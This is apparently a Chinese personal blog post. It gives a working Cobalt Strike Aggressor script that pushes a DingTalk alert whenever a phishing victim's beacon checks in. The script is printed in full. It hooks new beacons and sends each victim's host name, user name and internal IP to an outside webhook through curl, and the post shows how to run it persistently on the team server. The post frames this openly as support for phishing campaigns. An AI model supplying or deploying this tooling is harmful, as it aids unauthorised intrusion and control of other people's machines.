Keyi 的日常 


CobaltStrike上线之钉钉提醒


平时钓鱼或者在吃饭的时候不能时刻盯着cs,原来一直使用server酱进行cs上线提醒,后续发现他开始收费了,那鱼儿上线后就无法及时进行维权。所以想通过钉钉webhook进行提醒

效果如下:

搭建步骤

一.新建个人群聊

这个功能是群通知的功能,我们要建立个人群聊。
打开手机版钉钉->右上角点击发起群聊->面对面建群
注意:电脑版的钉钉不可以!

二.接下来在群聊里新建webhook

点击设置-智能群助手-添加机器人-自定义

接着进行对机器人添加自定义关键词=“CS”

三.导入dingtalk_webhook.cna 到cs

下载dingtalk_webhook.cna,修改dingtalk_webhookURL内容为自己的token

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

#author: 无尾熊/keyi

#set this info:

$dingtalk_webhookURL = 'https://oapi.dingtalk.com/robot/send?access_token=【webhook的token】';

on beacon_initial {

println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
local('$internalIP $computerName $userName');
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'CobaltStrike上线提醒:\n'.$teamserver_hostname.'主机名称:'.$computerName.'\nUsername : '.$userName.'\nIpaddres : '.$internalIP;

@curl_command = @('curl','-H','Content-Type: application/json','POST','--data','{"msgtype":"text","text":{"content":"CS'.$message.'"}}',$dingtalk_webhookURL) ;
exec(@curl_command);

}

四.持续监控

电脑断网后beacon上线后钉钉无提醒?
原因是:在cs客户端关闭后,加载的插件将无法运行,所以我们需要在cs的服务端去运行插件

agscript使用方法

./agscript [host] [port] [user] [pass] [/path/to/script.cna]
   Connect to a team server and start the Aggressor Script console

参考

Cobalt Strike beacon上线通知cna脚本
slack-notify-beacon.cna






© - 无尾熊 - 2019 - 2021 - Powered by hexo